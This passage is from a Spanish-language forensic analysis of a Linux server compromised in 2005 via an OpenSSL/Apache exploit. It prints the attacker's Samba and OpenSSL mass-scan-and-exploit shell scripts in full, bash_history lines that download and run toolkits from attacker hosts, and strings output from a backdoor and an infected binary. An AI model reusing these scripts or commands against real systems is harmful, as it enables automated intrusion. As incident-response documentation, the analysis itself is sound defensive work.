0x804a9b0 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) =3 fstat64(3, {st_mode=S_IFREG|0644, st_size=75690, ...}) = 0 old_mmap(NULL, 75690, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000 close(3) =0 open("/lib/libc.so.6", O_RDONLY) =3 read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"..., 1024) = 1024 fstat64(3, {st_mode=S_IFREG|0755, st_size=1262084, ...}) = 0 old_mmap(NULL, 1268004, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40028000 mprotect(0x40157000, 26916, PROT_NONE) = 0 old_mmap(0x40157000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x12f000) = 0x40157000 old_mmap(0x4015b000, 10532, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4015b000 close(3) =0 munmap(0x40015000, 75690) =0 fork() = 1887 --- SIGCHLD (Child exited) @ 0 (0) --socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(5608), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 5) =0 fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 1), ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000 write(1, "Port for Alinutu :P \n", 21Port for Alinutu :P ) = 21 fork() = 1890 write(1, "PID = 1890\n", 12PID = 1890 ) = 12 rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [RTMIN], 8) = 0 fork() = 1891 wait4(1891, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 1891 rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0 rt_sigprocmask(SIG_SETMASK, [RTMIN], NULL, 8) = 0 --- SIGCHLD (Child exited) @ 0 (0) --munmap(0x40015000, 4096) =0 exit_group(0) =? linux:~ # ps -aux Bad syntax, perhaps a bogus ’-’? USER root root root root root ... PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 1 0.1 0.0 500 244 ? S 09:51 0:05 init [5] 2 0.0 0.0 0 0 ? SW 09:51 0:00 [keventd] 3 0.0 0.0 0 0 ? SWN 09:51 0:00 [ksoftirqd_CPU0] 4 0.0 0.0 0 0 ? SW 09:51 0:00 [kswapd] 5 0.0 0.0 0 0 ? SW 09:51 0:00 [bdflush] ... root 1875 root 1890 root 1909 root 1910 root 1916 linux:~ # 0.0 0.0 2.2 0.0 0.0 2.5 26992 12856 ? 0.0 1444 308 ? 2.6 29052 13648 ? 0.3 4856 1608 pts/1 0.1 2524 668 pts/1 S S S S R 10:52 0:00 kdeinit: kio_uiserver 10:54 0:00 ./pico 10:58 0:00 kdeinit: konsole 10:58 0:00 /bin/bash 10:58 0:00 ps -aux linux:~ # lsof -p 1890 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME pico 2135 root cwd DIR 0,8 60 22052 /var/tmp pico 2135 root rtd DIR 0,8 500 9675 / pico 2135 root txt REG 3,5 19960 32654 /pico pico 2135 root mem REG 0,8 83928 21532 /lib/ld-2.3.2.so pico 2135 root mem REG 0,8 1262084 21546 /lib/libc.so.6 pico 2135 root 0u CHR 1,3 14886 /dev/null pico 2135 root 1u CHR 1,3 14886 /dev/null pico 2135 root 2u CHR 1,3 14886 /dev/null pico 2135 root 3u IPv4 53898 TCP *:5608 (LISTEN) linux:~ # netstat -ntlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:5608 0.0.0.0:* LISTEN 1890/pico linux:~ # telnet localhost 5608 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is ’^]’. sh-2.05b# id id uid=0(root) gid=0(root) groups=0(root) sh-2.05b# Vemos claramente que su nombre es pico y abre un puerto TCP *:5608 (LISTEN), podemos observar las librerías que utiliza, el alojamiento del binario en /var/tmp, se confirma con netstat la apertura de un puerto tcp 5608 y finalmente hacemos un telnet al puerto en cuestión y nos suministra una shell. Podría definirlo como una puerta trasera ó backdoor. ejecucióndel woot.tgz En las siguiente líneas de tiempos el intruso se descarga varias herramientas más, aun no sabemos que exploit a utilizado en su intrusión pero de una cosa si estamos seguro y es de que el exploit que ha utilizado debe estar infectado por el virus RST.b, comencemos el análisis de sus herramientas. 22:36:43.000000000 +0100 200.207.pscan.139 22:36:43.000000000 +0100 w00t Buscamos en el sistema a w00t y lo encontramos en linux:/x # find -name w00t ./var/tmp/w00t linux:/x/var/tmp/w00t # ls -lat total 324 drwxrwxrwt 5 root root 4096 Jan 31 18:54 .. drwxr-xr-x 2 523 523 4096 Jan 29 22:36 . -rw-r--r-- 1 root root 0 Jan 29 22:36 200.207.pscan.139 -rwxr-xr-x 1 523 523 813 Apr 22 2003 asmb -rwxr-xr-x 1 523 523 24798 Apr 21 2003 pscan2 -rwxr-xr-x 1 523 523 39340 Apr 21 2003 samba -rwxr-xr-x 1 523 523 39469 Apr 21 2003 sambas -rwxr-xr-x 1 523 523 26592 Apr 21 2003 vuln -rwxr-xr-x 1 523 523 21495 Apr 21 2003 o0o -rwxr-xr-x 1 523 523 20893 Apr 21 2003 try -rw-r--r-- 1 523 523 396 Apr 21 2003 try.c -rw-r--r-- 1 523 523 42930 Apr 21 2003 sambas.c -rw-r--r-- 1 523 523 5767 Apr 21 2003 pscan2.c -rwxr-xr-x 1 523 523 121 Apr 21 2003 make -rw-r--r-- 1 523 523 13516 Apr 21 2003 vuln.c -rw-r--r-- 1 523 523 42762 Apr 21 2003 samba.c -rw-r--r-- 1 523 523 885 Apr 18 2003 o0o.c -rwxr-xr-x 1 523 523 206 Apr 17 2003 auto En este arsenal compuesto por el scanner pscan2, test de vulnerabilidades de samba y por supuesto su exploit "o0o"; la ejecución de este exploit de samba se encuentra en su propio script de ataque: #!/bin/sh if [ $# != 1 ]; then echo " usage: $0 <b class>" < ---------te pregunta que rango de IPs exit; fi echo echo "# private underground versión of the samba scanner by kha0s" echo "# deversify owns u’r soul. he’s leet" echo "# PRIV8 PRIV8 PRIV8" echo "# and keep it like that nigga" echo "# join #teso on undernet for some lessons kiddies!" echo "----------------------------------------------------" echo "# starting scan ..." ./pscan2 $1 139 <-------------recoge los rangos de IPs y escanea la red al puerto 139 echo "# sleeping for 10 sex." sleep 10 cat $1.pscan.139 |sort |uniq > $1.smb ./vuln $1.smb $1.smb.out 20 <---A las IPs recogidas se les aplica un analizador de vulnerabilidades samba oopsnr2=‘grep -c . $1.smb.out‘ echo "# recognized $oopsnr2 samba servers" echo "----------------------------------------" echo "# exploiting. hang on to your keyboard hax0r." ./o0o $1.smb.out <------------------------Con las IPs vulnerables se les ejecuta el exploit. oopsnr1=‘grep -c . woot.log‘ echo "# u got $oopsnr1 roots" echo "# over and out." En el script se observa perfectamente la ejecución en conjunto del exploit de samba, en primer lugar una vez ejecutado el script te pregunta que rangos de IPs deseas nuestro intruso según la línea de tiempos le suministro los rangos 200.207 22:36:43.000000000 +0100 200.207.pscan.139 pscan recoge estos rangos y scannea la red buscando puertos 139 abiertos (./pscan2 $1 139), una vez localizados, les aplica a las IPs el ejecutable de test de vulnerabilidades (./vuln $1.smb $1.smb.out 20 ); comprobado que es vulnerable les aplica el exploit (./o0o $1.smb.out ). consiguiendo el acceso no autorizado al sistema. Analizamos los binarios de este exploit con nuestra herramienta strings linux:/x/var/tmp/w00t # strings -a try | grep / /lib/ld-linux.so.2 killall -9 sambas 2>/dev/null ./sambas -b 0 %s /usr/src/build/148620-i386/BUILD/glibc-2.2.93/csu /usr/src/build/148620-i386/BUILD/glibc-2.2.93/csu ../sysdeps/unix/sysv/linux/bits/types.h ../sysdeps/unix/sysv/linux/bits/sched.h ../linuxthreads/sysdeps/pthread/bits/pthreadtypes.h ../wcsmbs/wchar.h ../sysdeps/gnu/_G_config.h ../iconv/gconv.h /usr/lib/gcc-lib/i386-redhat-linux/3.2/include/stddef.h /tmp/ccnhFcil.s /tmp/ccqfJNVk.s /usr/src/build/148620-i386/BUILD/glibc-2.2.93/csu \J\\F@A/\[N][JK5 Analizado todos los ejecutables y archivos del w00t.tgz no encontramos relación con el virus RST.b y a partir de su ejecución ningún binario de /x/bin es modificado por el virus, recordamos que hasta la fecha solo tres binarios de /x/bin están contaminados (gawk, gawk-3.1.0 y chmod) aunque sabemos que hay más en distintas líneas del tiempo, por lo tanto descartamos este exploit como causante de lo que esta ocurriendo en este Sistema y sigamos con la línea temporal de modificados. Instalación de un proxy IRC: psyBNC 22:46:42.000000000 +0100 psybnc.log 22:46:42.000000000 +0100 psybnc.pid Según nuestra linea de tiempo se ha creado fichero log de psybnc nos sugiere la descarga de un proxy IRC:psybnc, veamos .bash_history linux:/x # find -name .bash_history ./raíz/root/.bash_history ./raíz/.bash_history ./var/tmp/.bash_history <-------------------linux:/x/var/tmp # cat .bash_history w cd /var/tmp ... rm -rf /tmp/* cd /var/log ... wget www.zetu.as.ro/psyz.tar.gz tar xzvf psyz.tar.gz rm -rf psyz.tar.gz. ... rm -rf psybnc.conf* wget www.zetu.as.ro/psybnc/psybnc.conf ... wget www.zetu.as.ro/psybnc.tgz tar xvfz psybnc.tgz cd psybnc ... wget http://www.plus.factory.home.ro/selena.tgz tar xvfz selena.tgz cd selena ./assl 217.172 Segun el bash_history de la carpeta /var/tmp los procesos de descargas de los exploit selena.tgz y psyz.tar.gz y psybnc.tgz de varias paginas web y los aloja en la carpeta /var/tmp/ , vemos el arsenal de herramientas conseguido después de las descargas (w00t) y openSSl (selena) y el proxy IRC:psyBNC. Analicemos la carpeta psybnc. linux:/x/var/tmp/psybnc # ls -lat total 636tm drwxrwxrwt 5 root root 4096 Jan 31 18:54 .. drwxr-xr-x 8 657 226 4096 Jan 31 10:12 . -rw------- 1 root root 105 Jan 31 10:12 USER1.LOG -rw------- 1 root root 671 Jan 30 00:53 psybnc.conf -rw------- 1 root root 671 Jan 30 00:53 psybnc.conf.old drwxr-xr-x 2 657 226 4096 Jan 29 22:49 motd drwxr-xr-x 2 657 226 4096 Jan 29 22:48 log -rw------- 1 root root 7 Jan 29 22:46 psybnc.pid -rw-r--r-- 1 657 226 134 Aug 23 2002 README -rw-r--r-- 1 657 226 394 Oct 28 2000 Makefile -rwxr-xr-x 1 657 226 533616 Oct 28 2000 psybnc -rw-r--r-- 1 657 226 76 Oct 28 2000 TODO -rw-r--r-- 1 657 226 18124 Oct 28 2000 CHANGES drwxr-xr-x 2 657 226 4096 Oct 21 2000 tools drwxr-xr-x 3 657 226 4096 Oct 21 2000 menuconf drwxr-xr-x 2 657 226 4096 Oct 21 2000 help -rwxr-xr-x 1 657 226 -rw-r--r-- 1 657 226 drwxr-xr-x 3 657 226 -rw------- 1 657 226 369 Aug 8 2000 psybncchk 2660 Aug 8 2000 FAQ 4096 Jul 30 2000 scripts 17982 May 16 1997 COPYING Tras asegurarse el control de la máquina y su acceso posterior, ahora el atacante lleva a cabo la instalación de las herramientas para las que quería el control de la misma. Lo que instala es psyBNC es un bouncer, nombre con el que se conocen a los proxy para el IRC permitiendo ocultarla IP real y utilizar un "vhost" (vanity host). La ventaja de conectarse a IRC a través de herramientas como esta es que permite estar conectado siempre en la red, aunque desconectes el cliente IRC, lo que permite mantener privilegios, estar siempre en los canales,... Se suele instalar en equipos con una conexión de gran ancho de banda. La psybnc es un programa muy parecido a un BNC aunque es más avanzado y es mucho más fácil de configurar. Éste corre en otro servidor (shell), permitiéndote conectarte a él como un servidor IRC, y a través de él, conectarte a un verdadero servidor IRC o ftp usando la ip del servidor donde se encuentra este psybnc. Las razones por las que utilizamos un PSYBNC para ingresar a Internet es por razones de seguridad. Es decir que cuando ingresamos al IRC con un psyBNC, nuestro Host real no es mostrado, y en cambio son utilizados Host Virtuales, provistos por la compañía, a la que le estamos rentando la Shell. Otra de las razones para usar una psyBNC son dejar su nick conectado las 24 horas con una IP diferente a la de su máquina y con su PC apagada, ya que cuando usted se desconecta del IRC, el nick sigue corriendo en la máquina donde está corriendo la psyBNC, así mismo también ese nick tendrá la ip de la máquina donde está la psyBNC, y al conectarse nuevamente podrás recuperar la sesión y tendrás un log de todo lo acontecido. También la psyBNC esconde tu IP para sesiones DCC donde en condiciones normales se vería su IP real. Puedes bajarlo de http://www.psychoid.lam3rz.de/psyBNC2.3.tar.gz o Sin embargo la psyBNC posee otras funciones tales como Auto OP?s y comandos para obtener OP. En algunas Redes de IRC que no tienen Channel y Nickname Services (Servicios para el registro de canales y Nick), tales como IRCnet y Efnet, los canales son cuidados por bots. Con algunos comandos de psyBNC podemos remplazar estos Bots. Veamos con strings sobre la partición swap para localizar alguna conexión de IRC linux:/x # strings -a hda6.dd | grep ":connect from" | sed ’s/^.*\(:connect.*\)$/\1/g’ | sort -u # no obtenemos ninguna conexión, nada intentémoslo con linux:/x # strings -a hda6.dd | grep "IRC" | less msg1073=Loescht ein IRC-Netzwerk vom Client msg0025=:[email protected] PRIVMSG %s :Questo e’ uno psyBNC-IRC-Proxy anonimo msg0060=Jump richiesto da %s. Uscita da IRC. msg0692=:[email protected] NOTICE %s :Il tuo client IRC non ha inviato la password. Scrivi /QUOTE PASS tuapassword per connetterti. msg0987= and the cool lam3rz Group IRCnet msg1046=Salta al successivo server IRC in lista msg1061=Aggiunge un server IRC alla tua lista di server msg1064=Cancella un IRC server dalla lista, referenziato per numero msg1067=Lista tutti i server IRC msg1124=Offre una DCC Chat per un dato utente su IRC msg1133=Invia un file attraverso un dato utente su IRC msg1136=Prende un file inviato attraverso DCC da un utente su IRC * the cool lam3rz IRC Group, IRCnet Parecen trozos de un chat, nuestro intruso por el vocabulario puede ser Italiano, sigamos con el análisis de las herramientas descargadas por el intruso y en este caso veremos el empaquetado de Selena.tgz Ejecución de selena.tgz 18:54:37.000000000 +0100 /var/tmp/selena/ del 31/01/2005 linux:/x/var/tmp # cat .bash_history w cd /var/tmp ... wget http://www.plus.factory.home.ro/selena.tgz tar xvfz selena.tgz cd selena ./assl 217.172 El paquete exploit de selena es descargado según el fichero de .bash_history con el comando wget desde ( http://www.plus.factory.home.ro/selena.tgz) es desempaquetado y ejecutado el script assl, después del cual se desencadena bastantes acontecimientos. Bien analicemos el contenido del paquete. linux:/x/var/tmp/selena # ls -lat total 764 -rwxr-xr-x 1 505 505 46379 Jan 31 19:03 ssl -rwxr-xr-x 1 505 505 46218 Jan 31 19:03 sslx -rwxr-xr-x 1 505 505 46218 Jan 31 19:03 ssx -rw-r--r-- 1 root root 11111 Jan 31 19:03 217.172.ssl.out -rwxr-xr-x 1 505 505 23070 Jan 31 19:03 sslex drwxr-xr-x 2 505 505 4096 Jan 31 19:02 . -rw-r--r-- 1 root root 33611 Jan 31 19:02 217.172.ssl -rwxr-xr-x 1 505 505 18696 Jan 31 19:02 oops -rw-r--r-- 1 root root 33611 Jan 31 19:02 217.172.pscan.443 -rwxr-xr-x 1 505 505 29061 Jan 31 18:54 ssvuln drwxrwxrwt 5 root root 4096 Jan 31 18:54 .. -rw-r--r-- 1 root root 0 Jul 9 2003 .0.pscan.443 -rw-r--r-- 1 root root 0 Jul 9 2003 204.60.pscan.443 -rw-r--r-- 1 505 505 290 Jul 9 2003 res.log -rw-r--r-- 1 505 505 0 Dec 16 2002 66.18.pscan.443 ... -rw-r--r-- 1 505 505 3407 Dec 14 2002 wget-log -rw-r--r-- 1 505 505 0 Dec 14 2002 203.5.pscan.443 -rw-r--r-- 1 505 505 0 Dec 14 2002 140.141.pscan.443 -rwxr-xr-x 1 505 505 27237 Dec 14 2002 pscan2 -rw-r--r-- 1 505 505 0 Dec 14 2002 203.116.pscan.443 ... -rw------- 1 505 505 98304 Nov 8 2002 core -rw-r--r-- 1 505 505 3301 Nov 8 2002 193.226.ssl.out -rw-r--r-- 1 505 505 8276 Nov 8 2002 193.226.ssl -rw-r--r-- 1 505 505 8276 Nov 8 2002 193.226.pscan.443 -rw-r--r-- 1 505 505 16384 Nov 8 2002 66.220.pscan.443 -rwxr-xr-x 1 505 505 3460 Oct 23 2002 runer -rw-r--r-- 1 505 505 20727 Oct 22 2002 su -rw-r--r-- 1 505 505 12557 Oct 19 2002 main.c -rwxr-xr-x 1 505 505 390 Oct 19 2002 doit4me -rwxr-xr-x 1 505 505 206 Oct 19 2002 auto -rwxr-xr-x -rw-r--r--rw-r--r--rw-r--r--rw-r--r-- 1 505 1 505 1 505 1 505 1 505 505 505 505 505 505 728 Sep 21 2002 assl 482 Sep 21 2002 Makefile 5767 Sep 21 2002 pscan2.c 2077 Sep 13 2002 main.h 200679 Nov 5 2000 psyBNC2.2.1.tar.gz De todo el contenido de selena veremos el script assl donde se muestra los "pasos a pasos" de la aplicación de este exploit de ataque muy parecido al empaquetado w00t. #!/bin/sh if [ $# != 1 ]; then echo " usage: $0 <b class>" < ---------te pregunta que rango de IPs exit; fi echo echo "# scanner for the apache 0p3nSSL vuln by insider" echo "# PRIVATE PRIVATE PRIVATE" echo "# DON’T DISTRIBUTE" echo "----------------------------------------------------" echo "# starting scan ..." ./pscan2 $1 443 <----recoge los rangos de IPs y escanea la red al puerto 443 echo "# sleeping for 10s to let scanning finish up." sleep 10 cat $1.pscan.443 |sort |uniq > $1.ssl ./ssvuln $1.ssl $1.ssl.out 35 <-------A las IPs recogidas se les aplica un analizador de vulnerabilidades oopsnr2=‘grep -c . $1.ssl.out‘ echo "# recognized $oopsnr2 apache web servers" echo "----------------------------------------" echo "# exploiting" ./oops $1.ssl.out <-----------------Con las IPs vulnerables se les ejecuta el exploit. echo "# g00d luck gaining root cause i’m" echo "# over and out." rm -rf $1.pscan.443 rm -rf $1.ssl rm -rf $1.ssl.out En principio te pregunta que rango de IPs deseas y le diremos como nuestro intruso 217.172, pscan2 recoge este rango y scannea la red ejem. 217.172.00.01; 217.172.00.02;... así sucesivamente, todas las IPs recogidas se les aplica el ejecutable de vulnerabilidades ./ssvuln 217.172.45.89, si cumple con las condiciones vulnerables se les aplica el exploit ./oops y en este caso se explota la vulnerabilidad de OpenSSL que abre un shell perteneciente al usuario nobody/apache sobre el servidor Web Apache. Para ello, se utiliza un buffer overflow en la llave del protocolo SSL: KEY_ARG como hemos mencionado al inicio. Este abre un shell con privilegios de root. Analizado todos los ejecutables y archivos de selena.tgz si encontramos relación con el virus y a partir de su ejecución en el sistema, se observa según nuestra línea del tiempo todas las modificaciones en los ejecutables de /x/bin desde 18:54:37 del 31/01/2005, por el virus RST.b. Observemos: 18:54:37.000000000 +0100 /var/tmp/selena/ 31/01/2005 18:54:57.000000000 +0100 ssvuln 19:02:17.000000000 +0100 217.172.pscan.443 19:02:28.000000000 +0100 217.172.ssl 19:02:28.000000000 +0100 oops 19:02:28.000000000 +0100 selena 19:03:25.000000000 +0100 217.172.ssl.out 19:03:25.000000000 +0100 sslex 19:03:40.000000000 +0100 .bash_history 19:03:40.000000000 +0100 chgrp 19:03:40.000000000 +0100 chown 19:03:40.000000000 +0100 cpio 19:03:40.000000000 +0100 dd 19:03:40.000000000 +0100 df 19:03:40.000000000 +0100 ed 19:03:40.000000000 +0100 hostname 19:03:40.000000000 +0100 ln 19:03:40.000000000 +0100 ls 19:03:40.000000000 +0100 mail 19:03:40.000000000 +0100 mkdir 19:03:40.000000000 +0100 mknod 19:03:40.000000000 +0100 mktemp 19:03:40.000000000 +0100 mt 19:03:40.000000000 +0100 netstat 19:03:40.000000000 +0100 ping 19:03:40.000000000 +0100 setserial 19:03:40.000000000 +0100 ssl 19:03:40.000000000 +0100 sslx 19:03:40.000000000 +0100 ssx Esta claro que una vez ejecutado el script assl se produce una masiva infección por el virus RST.b, sobre los binarios de /x/bin, si este exploit consigue una nueva IP vulnerable, se le aplica el exploit sin lugar a dudas infectara ese nuevo sistema. Analizamos el exploit de selena con strings y detectamos claramente la infección del virus: linux:/x/var/tmp/selena # strings -a oops |grep / /lib/ld-linux.so.2 /dev/hdx <--------------/bin/sh <---------------- GET /~telcom69/gov.php HTTP/1.0 <----------------------h/bin /lib/ld-linux.so.2 /usr/src/bs/BUILD/glibc-2.1.92/csu/ ../include/libc-symbols.h ../sysdeps/unix/sysv/linux/_G_config.h ../sysdeps/unix/sysv/linux/bits/types.h ../include/features.h ../include/sys/cdefs.h /usr/lib/gcc-lib/i386-redhat-linux/2.96/include/stddef.h ../linuxthreads/sysdeps/pthread/bits/pthreadtypes.h ../sysdeps/unix/sysv/linux/bits/sched.h ../include/wchar.h ../wcsmbs/wchar.h ../include/gconv.h ../iconv/gconv.h Analicemos el ejecutable del test de vulnerabilidades y observemos que RedHat linux 7.3 es vulnerable a este exploit y por supuesto infectado también, como todos los componentes del empaquetado, por el virus. linux:/x/var/tmp/selena # strings -a ssvuln /lib/ld-linux.so.2 __gmon_start__ libc.so.6 ... SuSE Linux 7.0 (apache-1.3.12) SuSE RedHat Linux 7.3 (apache-1.3.22 worm offset) 1.3.22 RedHat Linux 7.3 (apache-1.3.23-11) 1.3.23 Redhat Linux 7.2 (apache-1.3.26 w/PHP) Redhat Linux 7.2 (apache-1.3.26 worm offset) RedHat Linux 7.2 (apache-1.3.20-16) 1.3.20 RedHat Linux 7.1 (apache-1.3.19-5) ... DOM‘ /bin/sh xxxxyyyyzzzz Y[XXXXXX GET /~telcom69/gov.php HTTP/1.0 ppp0 eth0 h/bin ... Hemos comprobado que el paquete selena.tgz es el causante del acceso e infección no autorizado por el intruso al sistema. Analicemos los servicios abiertos al exterior en el momento del ataque y para ello visitemos /x/var/run linux:/x/var/run # ls -lat total 76/ru -rw-rw-r-- 1 root utmp 4224 Jan 28 20:48 utmp -rw-r--r-- 1 root root 4 Jan 23 11:02 httpd.pid drwxr-xr-x 7 root root 4096 Jan 20 23:44 . -rw-r--r-- 1 root root 5 Jan 20 23:44 atd.pid -rw-r--r-- 1 root root 4 Jan 20 23:44 crond.pid -rw------- 1 root root 4 Jan 20 23:44 gpm.pid -rw-r--r-- 1 root root 32 Jan 20 23:44 sendmail.pid -rw-r--r-- 1 root root 4 Jan 20 23:43 sshd.pid -rw-r--r-- 1 root root 4 Jan 20 23:43 xinetd.pid -rw-r--r-- 1 root root 4 Jan 20 23:43 apmd.pid -rw------- 1 48 root 0 Jan 20 23:43 httpd.mm.723.sem drwxr-xr-x 2 27 27 4096 Jan 20 23:43 mysqld -rw------- 1 root root 4 Jan 20 23:43 klogd.pid -rw------- 1 root root 4 Jan 20 23:43 syslogd.pid drwxr-xr-x 20 root root 4096 Jan 20 16:57 .. drwxrwxr-x 2 root root 4096 Apr 19 2002 netreport drwxr-xr-x 2 75 75 4096 Apr 12 2002 radvd drwxr-xr-x 2 root root 4096 Apr 10 2002 console drwxr-xr-x 2 at at 4096 Mar 14 2002 named linux:/x/var/run # cat sshd.pid 901 Con este análisis de selena.tgz podemos confirmar que ha sido el exploit openSSl infectado por el virus LinuxRST.b el causante de la entrada al sistema. Intentemos recuperar los archivos borrados por el intruso al utilizar las herramientas antes mencionada y veamos los resultados. Recuperación de archivos borrados Para recuperar los archivos borrados preparamos el siguiente script #!/bin/sh /forensics/tct_bin/ils -r /x/hda5.dd |awk -F ’|’ ’($2== "f") {print $1 }’ | while read i;do /forensics/tct_bin/icat /x/hda5.dd $i > /x/borrados/$i ;done Con este script utilizamos herramientas de TCT (The Coroner’s Toolkit) ejecutamos ils -r sobre la imagen hda5.dd y nos sumistra un listados ficheros borrados, con el comando icat lo hacemos visible, con el resto de ejecutables lo analizamos, en nuestro caso obtuvimos el siguiente resultado, unos pocos archivo borrados y vacíos: linux:/x/borrados # ls -lat total 48 drwxrwxr-x 7 root users drwxrwxr-x 2 root users -rwxrwxr-x 1 root users -rwxrwxr-x 1 root users -rwxrwxr-x 1 root users -rwxrwxr-x 1 root users -rwxrwxr-x 1 root users 16384 Feb 26 17:30 .. 16384 Feb 17 11:46 . 0 Feb 17 11:46 64002 0 Feb 17 11:46 64003 0 Feb 17 11:46 64019 0 Feb 17 11:46 64020 0 Feb 17 11:46 80003 -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x -rwxrwxr-x 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users users 0 Feb 17 11:46 80008 0 Feb 17 11:46 80010 0 Feb 17 11:46 80011 0 Feb 17 11:46 80012 0 Feb 17 11:46 80021 0 Feb 17 11:46 80022 0 Feb 17 11:46 80023 0 Feb 17 11:46 80024 0 Feb 17 11:46 80025 0 Feb 17 11:46 80026 0 Feb 17 11:46 96006 0 Feb 17 11:46 96007 0 Feb 17 11:46 96008 0 Feb 17 11:46 96009 0 Feb 17 11:46 96012 0 Feb 17 11:46 96013 0 Feb 17 11:46 96014 0 Feb 17 11:46 96015 0 Feb 17 11:46 96016 0 Feb 17 11:46 96017 0 Feb 17 11:46 96018 0 Feb 17 11:46 96019 0 Feb 17 11:46 96020 0 Feb 17 11:46 96021 0 Feb 17 11:46 96022 0 Feb 17 11:46 96023 0 Feb 17 11:46 96024 0 Feb 17 11:46 96025 0 Feb 17 11:46 96026 0 Feb 17 11:46 96027 0 Feb 17 11:46 96028 0 Feb 17 11:46 96029 0 Feb 17 11:46 96030 0 Feb 17 11:46 96031 0 Feb 17 11:46 96032 0 Feb 17 11:45 12 0 Feb 17 11:44 111853 0 Feb 17 11:44 111867 0 Feb 17 11:44 111868 0 Feb 17 11:44 111869 0 Feb 17 11:44 111870 0 Feb 17 11:44 111871 0 Feb 17 11:44 18398 0 Feb 17 11:44 18399 0 Feb 17 11:44 18453 0 Feb 17 11:44 18462 0 Feb 17 11:44 37415 0 Feb 17 11:44 37436 0 Feb 17 11:44 37437 0 Feb 17 11:44 37439 0 Feb 17 11:44 37440 0 Feb 17 11:44 48275 0 Feb 17 11:44 48886 0 Feb 17 11:44 48887 0 Feb 17 11:44 48888 0 Feb 17 11:44 66348 -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root -rwxrwxr-x 1 root users users users users users users users users users users users users users users users users users users users users users users users users 0 Feb 17 11:44 959 0 Feb 17 11:44 960 0 Feb 17 11:44 961 0 Feb 17 11:44 962 0 Feb 17 11:44 963 0 Feb 17 11:44 964 0 Feb 17 11:44 965 0 Feb 17 11:44 966 0 Feb 17 11:44 967 0 Feb 17 11:44 968 0 Feb 17 11:44 969 0 Feb 17 11:44 970 0 Feb 17 11:44 971 0 Feb 17 11:44 972 0 Feb 17 11:44 973 0 Feb 17 11:44 974 0 Feb 17 11:44 975 0 Feb 17 11:44 976 0 Feb 17 11:44 977 0 Feb 17 11:44 978 0 Feb 17 11:44 979 0 Feb 17 11:44 980 16 Feb 17 11:44 98075 0 Feb 17 11:44 981 Conclusiones: Al comienzo de esta investigación se tenia como meta principal de este análisis el descubrir lo ocurrido en el sistema. Por consiguiente, este análisis a descubierto que: La invasión ha ocurrido en 29/Enero/2005 alas 22:16:49 Toda la invasión habían estado hecha explorando una vulnerabilidad del paquete OpenSSL, a través del módulo Apache _ ssl . Es creado un usuario con los mismo valores que root con nombre "weed" tuvo acceso al sistema a través del "sshd" servidor. Para ocultar su presencia al sistema se descarga varias herramientas mediante el comando wget entre ellas, de un rootkit backdoor,(crt.tar.gz), asegurarse su reentrada en el sistema y la instalación de una serie de herramientas para diferentes tipos de 